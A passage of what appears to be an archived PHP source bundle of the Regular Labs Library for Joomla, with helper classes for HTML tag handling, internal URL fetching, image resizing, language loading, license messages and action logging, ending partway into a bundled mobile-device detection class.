$tag[3]), $string);
}
Protect::unprotect($string);
}
/**
* Remove inline elements around block elements
*
* @param string $string
*
* @return mixed
*/
public static function removeInlineElementsAroundBlockElements($string)
{
$string = RegEx::replace(
'(?:<(?:' . implode('|',
self::getInlineElementsNoAnchor()) . ')(?: [^>]*)?>\s*)'
. '(</?(?:' . implode('|',
self::getBlockElements()) . ')(?: [^>]*)?>)',
'\1',
$string
);
$string = RegEx::replace(
'(</?(?:' . implode('|',
self::getBlockElements()) . ')(?: [^>]*)?>)'
. '(?:\s*</(?:' . implode('|',
self::getInlineElementsNoAnchor()) . ')>)',
'\1',
$string
);
return $string;
}
/**
* Return an array of block element names, optionally without any of the
names given $exclude
*
* @param array $exclude
*
* @return array
*/
public static function getBlockElements($exclude = [])
{
if ( ! is_array($exclude))
{
$exclude = [$exclude];
}
$elements = [
'div', 'p', 'pre',
'h1', 'h2', 'h3', 'h4',
'h5', 'h6',
];
$elements = array_diff($elements, $exclude);
$elements = implode(',', $elements);
$elements = str_replace('h1,h2,h3,h4,h5,h6',
'h[1-6]', $elements);
$elements = explode(',', $elements);
return $elements;
}
/**
* Return an array of inline element names, optionally without any of the
names given $exclude
*
* @param array $exclude
*
* @return array
*/
public static function getInlineElements($exclude = [])
{
if ( ! is_array($exclude))
{
$exclude = [$exclude];
}
$elements = [
'span', 'code', 'a',
'strong', 'b', 'em', 'i',
'u', 'big', 'small', 'font',
'sup', 'sub',
];
return array_diff($elements, $exclude);
}
/**
* Return an array of block element names, without divs and any of the
names given $exclude
*
* @param array $exclude
*
* @return array
*/
public static function getBlockElementsNoDiv($exclude = [])
{
return array_diff(self::getBlockElements($exclude), ['div']);
}
/**
* Return an array of block element names, without anchors (a) and any of
the names given $exclude
*
* @param array $exclude
*
* @return array
*/
public static function getInlineElementsNoAnchor($exclude = [])
{
return array_diff(self::getInlineElements($exclude), ['a']);
}
/**
* Protect plugin style tags and php
*
* @param $string
*
* @return mixed
*/
private static function protectSpecialCode($string)
{
// Protect PHP code
Protect::protectByRegex($string,
'(<|<)\?php\s.*?\?(>|>)');
// Protect {...} tags
Protect::protectByRegex($string, '\{[a-z0-9].*?\}');
// Protect [...] tags
Protect::protectByRegex($string, '\[[a-z0-9].*?\]');
// Protect scripts
Protect::protectByRegex($string,
'<script[^>]*>.*?</script>');
// Protect css
Protect::protectByRegex($string,
'<style[^>]*>.*?</style>');
Protect::convertProtectionToHtmlSafe($string);
return $string;
}
/**
* Unprotect protected tags
*
* @param $string
*
* @return mixed
*/
private static function unprotectSpecialCode($string)
{
Protect::unprotectHtmlSafe($string);
return $string;
}
/**
* Prevents broken html tags at the end of $pre (other half at beginning
of $string)
* It will move the broken part to the beginning of $string to complete it
*
* @param $pre
* @param $string
*/
private static function fixBrokenTagsByPreString(&$pre, &$string)
{
if ( !
RegEx::match('<(\![^>]*|/?[a-z][^>]*(="[^"]*)?)$',
$pre, $match))
{
return;
}
$pre = substr($pre, 0, strlen($pre) - strlen($match[0]));
$string = $match[0] . $string;
}
/**
* Prevents broken html tags at the beginning of $pre (other half at end
of $string)
* It will move the broken part to the end of $string to complete it
*
* @param $post
* @param $string
*/
private static function fixBrokenTagsByPostString(&$post,
&$string)
{
if ( !
RegEx::match('<(\![^>]*|/?[a-z][^>]*(="[^"]*)?)$',
$string, $match))
{
return;
}
if ( ! RegEx::match('^[^>]*>', $post, $match))
{
return;
}
$post = substr($post, strlen($match[0]));
$string .= $match[0];
}
/**
* Removes html tags from string
*
* @param string $string
* @param bool $remove_comments
*
* @return string
*/
public static function removeHtmlTags($string, $remove_comments = false)
{
// remove pagenavcounter
$string = RegEx::replace('<div
class="pagenavcounter">.*?</div>', ' ',
$string);
// remove pagenavbar
$string = RegEx::replace('<div
class="pagenavbar">(<div>.*?</div>)*</div>',
' ', $string);
// remove inline scripts
$string =
RegEx::replace('<script[^a-z0-9].*?</script>',
'', $string);
$string =
RegEx::replace('<noscript[^a-z0-9].*?</noscript>',
'', $string);
// remove inline styles
$string = RegEx::replace('<style[^a-z0-9].*?</style>',
'', $string);
// remove inline html tags
$string = RegEx::replace(
'</?(' . implode('|', self::getInlineElements())
. ')( [^>]*)?>',
'',
$string
);
if ($remove_comments)
{
// remove html comments
$string = RegEx::replace('<!--.*?-->', ' ',
$string);
}
// replace other tags with a space
$string = RegEx::replace('</?[a-z].*?>', ' ',
$string);
// remove double whitespace
$string = trim(RegEx::replace('(\s)[ ]+', '\1',
$string));
return $string;
}
}
src/HtmlTag.php000064400000007504151167425550007425 0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
namespace RegularLabs\Library;
defined('_JEXEC') or die;
/**
* Class HtmlTag
* @package RegularLabs\Library
*/
class HtmlTag
{
/**
* Combine 2 opening html tags into one
*
* @param string $tag1
* @param string $tag2
*
* @return string
*/
public static function combine($tag1, $tag2)
{
// Return if tags are the same
if ($tag1 == $tag2)
{
return $tag1;
}
if ( ! RegEx::match('<([a-z][a-z0-9]*)', $tag1, $tag_type))
{
return $tag2;
}
$tag_type = $tag_type[1];
if ( ! $attribs = self::combineAttributes($tag1, $tag2))
{
return '<' . $tag_type . '>';
}
return '<' . $tag_type . ' ' . $attribs .
'>';
}
/**
* Extract attribute value from a html tag string by given attribute key
*
* @param string $key
* @param string $string
*
* @return string
*/
public static function getAttributeValue($key, $string)
{
if (empty($key) || empty($string))
{
return '';
}
RegEx::match(RegEx::quote($key) . '="([^"]*)"',
$string, $match);
if (empty($match))
{
return '';
}
return $match[1];
}
/**
* Extract all attributes from a html tag string
*
* @param string $string
*
* @return array
*/
public static function getAttributes($string)
{
if (empty($string))
{
return [];
}
RegEx::matchAll('([a-z0-9-_]+)="([^"]*)"',
$string, $matches);
if (empty($matches))
{
return [];
}
$attribs = [];
foreach ($matches as $match)
{
$attribs[$match[1]] = $match[2];
}
return $attribs;
}
/**
* Combine attribute values from 2 given html tag strings (or arrays of
attributes)
* And return as a sting of attributes
*
* @param string /array $string1
* @param string /array $string2
*
* @return string
*/
public static function combineAttributes($string1, $string2, $flatten =
true)
{
$attribsutes1 = is_array($string1) ? $string1 :
self::getAttributes($string1);
$attribsutes2 = is_array($string2) ? $string2 :
self::getAttributes($string2);
$duplicate_attributes = array_intersect_key($attribsutes1,
$attribsutes2);
// Fill $attributes with the unique ids
$attributes = array_diff_key($attribsutes1, $attribsutes2) +
array_diff_key($attribsutes2, $attribsutes1);
// List of attrubute types that can only contain one value
$single_value_attributes = ['id', 'href'];
// Add/combine the duplicate ids
foreach ($duplicate_attributes as $key => $val)
{
if (in_array($key, $single_value_attributes))
{
$attributes[$key] = $attribsutes2[$key];
continue;
}
// Combine strings, but remove duplicates
// "aaa bbb" + "aaa ccc" = "aaa bbb ccc"
// use a ';' as a concatenated for javascript values (keys
beginning with 'on')
// Otherwise use a space (like for classes)
$glue = substr($key, 0, 2) == 'on' ? ';' : '
';
$attributes[$key] = implode($glue, array_merge(explode($glue,
$attribsutes1[$key]), explode($glue, $attribsutes2[$key])));
}
return $flatten ? self::flattenAttributes($attributes) : $attributes;
}
/**
* Convert array of attributes to a html style string
*
* @param array $attributes
*
* @return string
*/
public static function flattenAttributes($attributes, $prefix =
'')
{
$output = [];
foreach ($attributes as $key => $val)
{
if (is_null($val) || $val === '')
{
continue;
}
if ($val === false)
{
$val = 'false';
}
if ($val === true)
{
$val = 'true';
}
$val = str_replace('"', '"', $val);
$output[] = $prefix . $key . '="' . $val .
'"';
}
return implode(' ', $output);
}
}
src/Http.php000064400000007410151167425550007000 0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
namespace RegularLabs\Library;
defined('_JEXEC') or die;
use Joomla\CMS\Factory as JFactory;
use Joomla\CMS\Http\HttpFactory as JHttpFactory;
use Joomla\Registry\Registry;
use RuntimeException;
/**
* Class Http
* @package RegularLabs\Library
*/
class Http
{
/**
* Get the contents of the given internal url
*
* @param string $url
* @param int $timeout
*
* @return string
*/
public static function get($url, $timeout = 20)
{
if (Uri::isExternal($url))
{
return '';
}
return @file_get_contents($url)
|| self::getFromUrl($url, $timeout);
}
/**
* Get the contents of the given url
*
* @param string $url
* @param int $timeout
*
* @return string
*/
public static function getFromUrl($url, $timeout = 20)
{
$cache_id = 'getUrl_' . $url;
if (Cache::has($cache_id))
{
return Cache::get($cache_id);
}
if (JFactory::getApplication()->input->getInt('cache', 0)
&& $content = Cache::read($cache_id)
)
{
return $content;
}
$content = self::getContents($url, $timeout);
if (empty($content))
{
return '';
}
if ($ttl =
JFactory::getApplication()->input->getInt('cache', 0))
{
return Cache::write($cache_id, $content, $ttl > 1 ? $ttl : 0);
}
return Cache::set($cache_id, $content);
}
/**
* Get the contents of the given external url from the Regular Labs server
*
* @param string $url
* @param int $timeout
*
* @return string
*/
public static function getFromServer($url, $timeout = 20)
{
$cache_id = 'getByUrl_' . $url;
if (Cache::has($cache_id))
{
return Cache::get($cache_id);
}
// only allow url calls from administrator
if ( ! Document::isClient('administrator'))
{
die;
}
// only allow when logged in
$user = JFactory::getUser();
if ( ! $user->id)
{
die;
}
if (substr($url, 0, 4) != 'http')
{
$url = 'http://' . $url;
}
// only allow url calls to regularlabs.com domain
if ( ! (RegEx::match('^https?://([^/]+\.)?regularlabs\.com/',
$url)))
{
die;
}
// only allow url calls to certain files
if (
strpos($url, 'download.regularlabs.com/extensions.php') ===
false
&& strpos($url,
'download.regularlabs.com/extensions.json') === false
&& strpos($url,
'download.regularlabs.com/extensions.xml') === false
)
{
die;
}
$content = self::getContents($url, $timeout);
if (empty($content))
{
return '';
}
$format = (strpos($url, '.json') !== false || strpos($url,
'format=json') !== false)
? 'application/json'
: 'text/xml';
header("Pragma: public");
header("Expires: 0");
header("Cache-Control: must-revalidate, post-check=0,
pre-check=0");
header("Cache-Control: public");
header("Content-type: " . $format);
if ($ttl =
JFactory::getApplication()->input->getInt('cache', 0))
{
return Cache::write($cache_id, $content, $ttl > 1 ? $ttl : 0);
}
return Cache::set($cache_id, $content);
}
/**
* Load the contents of the given url
*
* @param string $url
* @param int $timeout
*
* @return string
*/
private static function getContents($url, $timeout = 20)
{
try
{
// Adding a valid user agent string, otherwise some feed-servers
returning an error
$options = new Registry([
'userAgent' => 'Mozilla/5.0 (Windows NT 6.1; WOW64;
rv:41.0) Gecko/20100101 Firefox/41.0',
]);
$content = JHttpFactory::getHttp($options)->get($url, null,
$timeout)->body;
}
catch (RuntimeException $e)
{
return '';
}
return $content;
}
}
src/Image.php000064400000020503151167425550007101 0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
namespace RegularLabs\Library;
defined('_JEXEC') or die;
use Joomla\CMS\Filesystem\Folder as JFolder;
use Joomla\CMS\Uri\Uri as JUri;
use Joomla\Image\Image as JImage;
class Image
{
// public static function getSet($source, $width, $height, $folder =
'resized', $resize = true, $quality = 'medium',
$possible_suffix = '')
// {
// $paths = self::getPaths($source, $width, $height, $folder, $resize,
$quality, $possible_suffix);
//
// return (object) [
// 'original' => (object) [
// 'url' => $paths->image,
// 'width' => self::getWidth($paths->original),
// 'height' => self::getHeight($paths->original),
// ],
// 'resized' => (object) [
// 'url' => $paths->resized,
// 'width' => self::getWidth($paths->resized),
// 'height' => self::getHeight($paths->resized),
// ],
// ];
// }
public static function getUrls($source, $width, $height, $folder =
'resized', $resize = true, $quality = 'medium',
$possible_suffix = '')
{
if ($image = self::isResized($source, $folder, $possible_suffix))
{
$source = $image;
}
$original = $source;
$resized = self::getResize($source, $width, $height, $folder, $resize,
$quality);
return (object) compact('original', 'resized');
}
public static function getResize($source, $width, $height, $folder =
'resized', $resize = true, $quality = 'medium')
{
$destination_folder = File::getDirName($source) . '/' .
$folder;
$override = File::getDirName($source) . '/' . $folder .
'/' . File::getBaseName($source);
if (file_exists(JPATH_SITE . '/' . $override))
{
$source = $override;
}
if ( ! self::setNewDimensions($source, $width, $height))
{
return $source;
}
if ( ! $width && ! $height)
{
return $source;
}
$destination = self::getNewPath(
$source,
$width,
$height,
$destination_folder
);
if ( ! file_exists(JPATH_SITE . '/' . $destination) &&
$resize)
{
// Create new resized image
$destination = self::resize(
$source,
$width,
$height,
$destination_folder,
$quality
);
}
if ( ! file_exists(JPATH_SITE . '/' . $destination))
{
return $source;
}
return $destination;
}
public static function isResized($file, $folder = 'resized',
$possible_suffix = '')
{
if (File::isExternal($file))
{
return false;
}
if ( ! file_exists($file))
{
return false;
}
if ($main_image = self::isResizedWithFolder($file, $folder))
{
return $main_image;
}
if ($possible_suffix && $main_image =
self::isResizedWithSuffix($file, $possible_suffix))
{
return $main_image;
}
return false;
}
public static function isResizedWithSuffix($file, $suffix =
'_t')
{
// Remove the suffix from the file
// image_t.jpg => image.jpg
$main_file = RegEx::replace(
RegEx::quote($suffix) . '(\.[^.]+)$',
'\1',
$file
);
// Nothing removed, so not a resized image
if ($main_file == $file)
{
return false;
}
if ( ! file_exists(JPATH_SITE . '/' . utf8_decode($main_file)))
{
return false;
}
return $main_file;
}
private static function isResizedWithFolder($file, $resize_folder =
'resized')
{
$folder = File::getDirName($file);
$file = File::getBaseName($file);
$parent_folder_name = File::getBaseName($folder);
$parent_folder = File::getDirName($folder);
// Image is not inside the resize folder
if ($parent_folder_name != $resize_folder)
{
return false;
}
// Check if image with same name exists in parent folder
if (file_exists(JPATH_SITE . '/' . $parent_folder .
'/' . utf8_decode($file)))
{
return $parent_folder . '/' . $file;
}
// Remove any dimensions from the file
// image_300x200.jpg => image.jpg
$file = RegEx::replace(
'_[0-9]+x[0-9]*(\.[^.]+)$',
'\1',
$file
);
// Check again if image with same name (but without dimensions) exists in
parent folder
if (file_exists(JPATH_SITE . '/' . $parent_folder .
'/' . utf8_decode($file)))
{
return $parent_folder . '/' . $file;
}
return false;
}
public static function resize($source, &$width, &$height,
$destination_folder = '', $quality = 'medium',
$overwrite = false)
{
if (File::isExternal($source))
{
return $source;
}
$clean_source = self::cleanPath($source);
$source_path = JPATH_SITE . '/' . $clean_source;
$destination_folder = ltrim($destination_folder ?:
File::getDirName($clean_source));
$destination_folder = self::cleanPath($destination_folder);
if ( ! file_exists($source_path))
{
return false;
}
if ( ! self::setNewDimensions($source, $width, $height))
{
return $source;
}
if ( ! $width && ! $height)
{
return $source;
}
if ( ! getimagesize($source_path))
{
return $source;
}
try
{
$image = new JImage($source_path);
}
catch (\InvalidArgumentException $e)
{
return $source;
}
$destination = self::getNewPath($source, $width, $height,
$destination_folder);
$destination_path = JPATH_SITE . '/' . $destination;
if (file_exists($destination_path) && ! $overwrite)
{
return $destination;
}
JFolder::create(JPATH_SITE . '/' . $destination_folder);
$info = JImage::getImageFileProperties($source_path);
$options = ['quality' => self::getQuality($info->type,
$quality)];
$image->cropResize($width, $height, false)
->toFile($destination_path, $info->type, $options);
$image->destroy();
return $destination;
}
public static function setNewDimensions($source, &$width,
&$height)
{
if ( ! $width && ! $height)
{
return false;
}
if (File::isExternal($source))
{
return false;
}
$clean_source = self::cleanPath($source);
$source_path = JPATH_SITE . '/' . $clean_source;
if ( ! file_exists($source_path))
{
return false;
}
if ( ! getimagesize($source_path))
{
return false;
}
try
{
$image = new JImage($source_path);
}
catch (\InvalidArgumentException $e)
{
return false;
}
$original_width = $image->getWidth();
$original_height = $image->getHeight();
$width = $width ?: round($original_width / $original_height * $height);
$height = $height ?: round($original_height / $original_width * $width);
$image->destroy();
if ($width == $original_width && $height == $original_height)
{
return false;
}
return true;
}
public static function getNewPath($source, $width, $height,
$destination_folder = '')
{
$clean_source = self::cleanPath($source);
$source_parts = pathinfo($clean_source);
$destination_folder = ltrim($destination_folder ?:
File::getDirName($clean_source));
$destination_file = File::getFileName($clean_source) . '_' .
$width . 'x' . $height . '.' .
$source_parts['extension'];
JFolder::create(JPATH_SITE . '/' . $destination_folder);
return ltrim($destination_folder . '/' . $destination_file);
}
public static function cleanPath($source)
{
$source = ltrim(str_replace(JUri::root(), '', $source),
'/');
$source = strtok($source, '?');
return $source;
}
public static function getWidth($source)
{
$dimensions = self::getDimensions($source);
return $dimensions->width;
}
public static function getHeight($source)
{
$dimensions = self::getDimensions($source);
return $dimensions->height;
}
public static function getDimensions($source)
{
$empty = (object) [
'width' => 0,
'height' => 0,
];
if (File::isExternal($source))
{
return $empty;
}
if ( ! getimagesize($source))
{
return $empty;
}
try
{
$image = new JImage(JPATH_SITE . '/' . $source);
}
catch (\InvalidArgumentException $e)
{
return $empty;
}
return (object) [
'width' => $image->getWidth(),
'height' => $image->getHeight(),
];
}
public static function getQuality($type, $quality = 'medium')
{
switch ($type)
{
case IMAGETYPE_JPEG:
return min(max(self::getJpgQuality($quality), 0), 100);
case IMAGETYPE_PNG:
return 9;
default:
return '';
}
}
public static function getJpgQuality($quality = 'medium')
{
switch ($quality)
{
case 'low':
return 50;
case 'high':
return 90;
case 'medium':
default:
return 70;
}
}
}
src/Language.php000064400000002022151167425550007576 0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
namespace RegularLabs\Library;
defined('_JEXEC') or die;
use Joomla\CMS\Factory as JFactory;
/**
* Class Language
* @package RegularLabs\Library
*/
class Language
{
/**
* Load the language of the given extension
*
* @param string $extension
* @param string $basePath
* @param bool $reload
*
* @return bool
*/
public static function load($extension =
'plg_system_regularlabs', $basePath = '', $reload =
false)
{
if ($basePath && JFactory::getLanguage()->load($extension,
$basePath, null, $reload))
{
return true;
}
$basePath = Extension::getPath($extension, $basePath,
'language');
return JFactory::getLanguage()->load($extension, $basePath, null,
$reload);
}
}
src/License.php000064400000003337151167425550007447 0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
namespace RegularLabs\Library;
defined('_JEXEC') or die;
use Joomla\CMS\Language\Text as JText;
use Joomla\CMS\Layout\LayoutHelper;
/**
* Class Language
* @package RegularLabs\Library
*/
class License
{
/**
* Render the license message for Free versions
*
* @param string $name
* @param bool $check_pro
*
* @return string
*/
public static function getMessage($name, $check_pro = false)
{
if ( ! $name)
{
return '';
}
$alias = Extension::getAliasByName($name);
$name = Extension::getNameByAlias($name);
if ($check_pro && self::isPro($alias))
{
return '';
}
$displayData = [
'msgList' => [
'' => [
JText::sprintf('RL_IS_FREE_VERSION', $name),
JText::_('RL_FOR_MORE_GO_PRO'),
'<a
href="https://www.regularlabs.com/purchase/cart/add/' . $alias .
'" target="_blank" class="btn btn-small
btn-primary">'
. '<span class="icon-basket"></span> '
. StringHelper::html_entity_decoder(JText::_('RL_GO_PRO'))
. '</a>',
],
],
];
return LayoutHelper::render('joomla.system.message',
$displayData);
}
/**
* Check if the installed version of the extension is a Pro version
*
* @param string $element_name
*
* @return bool
*/
private static function isPro($element_name)
{
if ( ! $version = Extension::getXMLValue('version',
$element_name))
{
return false;
}
return (stripos($version, 'PRO') !== false);
}
}
src/Log.php000064400000006175151167425550006611 0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
namespace RegularLabs\Library;
defined('_JEXEC') or die;
use ActionlogsModelActionlog;
use JLoader;
use Joomla\CMS\Factory as JFactory;
use Joomla\CMS\MVC\Model\BaseDatabaseModel as JModel;
/**
* Class Log
* @package RegularLabs\Library
*/
class Log
{
public static function add($message, $languageKey, $context)
{
$user = JFactory::getUser();
$message['userid'] = $user->id;
$message['username'] = $user->username;
$message['accountlink'] =
'index.php?option=com_users&task=user.edit&id=' .
$user->id;
JLoader::register('ActionlogsHelper', JPATH_ADMINISTRATOR .
'/components/com_actionlogs/helpers/actionlogs.php');
JLoader::register('ActionlogsModelActionlog',
JPATH_ADMINISTRATOR .
'/components/com_actionlogs/models/actionlog.php');
/* @var ActionlogsModelActionlog $model */
$model = JModel::getInstance('Actionlog',
'ActionlogsModel');
$model->addLog([$message], $languageKey, $context, $user->id);
}
public static function save($message, $context, $isNew)
{
$languageKey = $isNew ?
'PLG_SYSTEM_ACTIONLOGS_CONTENT_ADDED' :
'PLG_SYSTEM_ACTIONLOGS_CONTENT_UPDATED';
$message['action'] = $isNew ? 'add' :
'update';
self::add($message, $languageKey, $context);
}
public static function delete($message, $context)
{
$languageKey = 'PLG_SYSTEM_ACTIONLOGS_CONTENT_DELETED';
$message['action'] = 'deleted';
self::add($message, $languageKey, $context);
}
public static function changeState($message, $context, $value)
{
switch ($value)
{
case 0:
$languageKey =
'PLG_SYSTEM_ACTIONLOGS_CONTENT_UNPUBLISHED';
$message['action'] = 'unpublish';
break;
case 1:
$languageKey =
'PLG_SYSTEM_ACTIONLOGS_CONTENT_PUBLISHED';
$message['action'] = 'publish';
break;
case 2:
$languageKey =
'PLG_SYSTEM_ACTIONLOGS_CONTENT_ARCHIVED';
$message['action'] = 'archive';
break;
case -2:
$languageKey = 'PLG_SYSTEM_ACTIONLOGS_CONTENT_TRASHED';
$message['action'] = 'trash';
break;
default:
return;
}
self::add($message, $languageKey, $context);
}
public static function install($message, $context, $type =
'component')
{
$languageKey = 'PLG_ACTIONLOG_JOOMLA_' . strtoupper($type) .
'_INSTALLED';
if ( !
JFactory::getApplication()->getLanguage()->hasKey($languageKey))
{
$languageKey = 'PLG_ACTIONLOG_JOOMLA_EXTENSION_INSTALLED';
}
$message['action'] = 'install';
$message['type'] = 'PLG_ACTIONLOG_JOOMLA_TYPE_' .
strtoupper($type);
self::add($message, $languageKey, $context);
}
public static function uninstall($message, $context, $type =
'component')
{
$languageKey = 'PLG_ACTIONLOG_JOOMLA_EXTENSION_UNINSTALLED';
$message['action'] = 'uninstall';
$message['type'] = 'PLG_ACTIONLOG_JOOMLA_TYPE_' .
strtoupper($type);
self::add($message, $languageKey, $context);
}
}
src/MobileDetect.php000064400000224303151167425550010423 0ustar00<?php
/**
* Mobile Detect Library
* Motto: "Every business should have a mobile detection script to
detect mobile readers"
*
* Mobile_Detect is a lightweight PHP class for detecting mobile devices
(including tablets).
* It uses the User-Agent string combined with specific HTTP headers to
detect the mobile environment.
*
* Homepage: http://mobiledetect.net
* GitHub: https://github.com/serbanghita/Mobile-Detect
* README:
https://github.com/serbanghita/Mobile-Detect/blob/master/README.md
* CONTRIBUTING:
https://github.com/serbanghita/Mobile-Detect/blob/master/docs/CONTRIBUTING.md
* KNOWN LIMITATIONS:
https://github.com/serbanghita/Mobile-Detect/blob/master/docs/KNOWN_LIMITATIONS.md
* EXAMPLES:
https://github.com/serbanghita/Mobile-Detect/wiki/Code-examples
*
* @license
https://github.com/serbanghita/Mobile-Detect/blob/master/LICENSE.txt MIT
License
* @author Serban Ghita <serbanghita@gmail.com>
* @author Nick Ilyin <nick.ilyin@gmail.com>
* Original author: Victor Stanciu <vic.stanciu@gmail.com>
*
* @version 2.8.34
*/
namespace RegularLabs\Library;
defined('_JEXEC') or die;
use BadMethodCallException;
class MobileDetect
{
/**
* Mobile detection type.
*
* @deprecated since version 2.6.9
*/
const DETECTION_TYPE_MOBILE = 'mobile';
/**
* Extended detection type.
*
* @deprecated since version 2.6.9
*/
const DETECTION_TYPE_EXTENDED = 'extended';
/**
* A frequently used regular expression to extract version #s.
*
* @deprecated since version 2.6.9
*/
const VER = '([\w._\+]+)';
/**
* Top-level device.
*/
const MOBILE_GRADE_A = 'A';
/**
* Mid-level device.
*/
const MOBILE_GRADE_B = 'B';
/**
* Low-level device.
*/
const MOBILE_GRADE_C = 'C';
/**
* Stores the version number of the current release.
*/
const VERSION = '2.8.34';
/**
* A type for the version() method indicating a string return value.
*/
const VERSION_TYPE_STRING = 'text';
/**
* A type for the version() method indicating a float return value.
*/
const VERSION_TYPE_FLOAT = 'float';
/**
* A cache for resolved matches
* @var array
*/
protected $cache = [];
/**
* The User-Agent HTTP header is stored in here.
* @var string
*/
protected $userAgent = null;
/**
* HTTP headers in the PHP-flavor. So HTTP_USER_AGENT and SERVER_SOFTWARE.
* @var array
*/
protected $httpHeaders = [];
/**
* CloudFront headers. E.g. CloudFront-Is-Desktop-Viewer,
CloudFront-Is-Mobile-Viewer & CloudFront-Is-Tablet-Viewer.
* @var array
*/
protected $cloudfrontHeaders = [];
/**
* The matching Regex.
* This is good for debug.
* @var string
*/
protected $matchingRegex = null;
/**
* The matches extracted from the regex expression.
* This is good for debug.
*
* @var string
*/
protected $matchesArray = null;
/**
* The detection type, using self::DETECTION_TYPE_MOBILE or
self::DETECTION_TYPE_EXTENDED.
*
* @deprecated since version 2.6.9
*
* @var string
*/
protected $detectionType = self::DETECTION_TYPE_MOBILE;
/**
* HTTP headers that trigger the 'isMobile' detection
* to be true.
*
* @var array
*/
protected static $mobileHeaders = [
'HTTP_ACCEPT' => [
'matches' => [
// Opera Mini; @reference:
http://dev.opera.com/articles/view/opera-binary-markup-language/
'application/x-obml2d',
// BlackBerry devices.
'application/vnd.rim.html',
'text/vnd.wap.wml',
'application/vnd.wap.xhtml+xml',
],
],
'HTTP_X_WAP_PROFILE' => null,
'HTTP_X_WAP_CLIENTID' => null,
'HTTP_WAP_CONNECTION' => null,
'HTTP_PROFILE' => null,
// Reported by Opera on Nokia devices (eg. C3).
'HTTP_X_OPERAMINI_PHONE_UA' => null,
'HTTP_X_NOKIA_GATEWAY_ID' => null,
'HTTP_X_ORANGE_ID' => null,
'HTTP_X_VODAFONE_3GPDPCONTEXT' => null,
'HTTP_X_HUAWEI_USERID' => null,
// Reported by Windows Smartphones.
'HTTP_UA_OS' => null,
// Reported by Verizon, Vodafone proxy system.
'HTTP_X_MOBILE_GATEWAY' => null,
// Seen this on HTC Sensation. SensationXE_Beats_Z715e.
'HTTP_X_ATT_DEVICEID' => null,
// Seen this on a HTC.
'HTTP_UA_CPU' => ['matches' =>
['ARM']],
];
/**
* List of mobile devices (phones).
*
* @var array
*/
protected static $phoneDevices = [
'iPhone' => '\biPhone\b|\biPod\b', //
|\biTunes
'BlackBerry' =>
'BlackBerry|\bBB10\b|rim[0-9]+|\b(BBA100|BBB100|BBD100|BBE100|BBF100|STH100)\b-[0-9]+',
'HTC' =>
'HTC|HTC.*(Sensation|Evo|Vision|Explorer|6800|8100|8900|A7272|S510e|C110e|Legend|Desire|T8282)|APX515CKT|Qtek9090|APA9292KT|HD_mini|Sensation.*Z710e|PG86100|Z715e|Desire.*(A8181|HD)|ADR6200|ADR6400L|ADR6425|001HT|Inspire
4G|Android.*\bEVO\b|T-Mobile G1|Z520m|Android [0-9.]+; Pixel',
'Nexus' => 'Nexus One|Nexus
S|Galaxy.*Nexus|Android.*Nexus.*Mobile|Nexus 4|Nexus 5|Nexus 6',
// @todo: Is 'Dell Streak' a tablet or a phone? ;)
'Dell' => 'Dell[;]? (Streak|Aero|Venue|Venue
Pro|Flash|Smoke|Mini 3iX)|XCD28|XCD35|\b001DL\b|\b101DL\b|\bGS01\b',
'Motorola' => 'Motorola|DROIDX|DROID
BIONIC|\bDroid\b.*Build|Android.*Xoom|HRI39|MOT-|A1260|A1680|A555|A853|A855|A953|A955|A956|Motorola.*ELECTRIFY|Motorola.*i1|i867|i940|MB200|MB300|MB501|MB502|MB508|MB511|MB520|MB525|MB526|MB611|MB612|MB632|MB810|MB855|MB860|MB861|MB865|MB870|ME501|ME502|ME511|ME525|ME600|ME632|ME722|ME811|ME860|ME863|ME865|MT620|MT710|MT716|MT720|MT810|MT870|MT917|Motorola.*TITANIUM|WX435|WX445|XT300|XT301|XT311|XT316|XT317|XT319|XT320|XT390|XT502|XT530|XT531|XT532|XT535|XT603|XT610|XT611|XT615|XT681|XT701|XT702|XT711|XT720|XT800|XT806|XT860|XT862|XT875|XT882|XT883|XT894|XT901|XT907|XT909|XT910|XT912|XT928|XT926|XT915|XT919|XT925|XT1021|\bMoto
E\b|XT1068|XT1092|XT1052',
'Samsung' =>
